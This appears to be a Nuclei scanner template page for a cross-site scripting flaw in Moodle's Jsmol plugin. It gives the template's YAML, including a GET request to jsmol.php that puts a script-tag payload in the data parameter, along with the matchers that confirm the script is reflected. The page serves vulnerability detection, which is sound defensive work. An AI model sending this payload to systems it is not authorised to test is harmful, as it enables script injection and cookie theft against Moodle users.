Moodle Jsmol - Cross-Site Scripting
ID: moodle-filter-jmol-xss
Severity: medium
Author: madrobot
Tags: moodle,xss
Description
Section titled “Description”Moodle contains a cross-site scripting vulnerability via the Jsmol plugin and may also be susceptible to local file inclusion or server-side-request forgery. An attacker can execute arbitrary script in the browser of an unsuspecting user and steal cookie-based authentication credentials and launch other attacks.
YAML Source
Section titled “YAML Source”id: moodle-filter-jmol-xss
info: name: Moodle Jsmol - Cross-Site Scripting author: madrobot severity: medium description: Moodle contains a cross-site scripting vulnerability via the Jsmol plugin and may also be susceptible to local file inclusion or server-side-request forgery. An attacker can execute arbitrary script in the browser of an unsuspecting user and steal cookie-based authentication credentials and launch other attacks. reference: - https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 metadata: max-request: 1 tags: moodle,xss
http: - method: GET path: - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html"
matchers-condition: and matchers: - type: status status: - 200
- type: word words: - "<script>alert('XSS')</script>" part: body
- type: word part: header words: - "text/html"# digest: 490a0046304402202ce4ab09dfbb0d1a283ed44ecf36d605d0ca9b1daf7c865bc6dff2377cae6fe302201755c894c9fb9d830625ffad6822664793240ae4e1f14fd340b92b5c2be20517:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/moodle/moodle-filter-jmol-xss.yaml"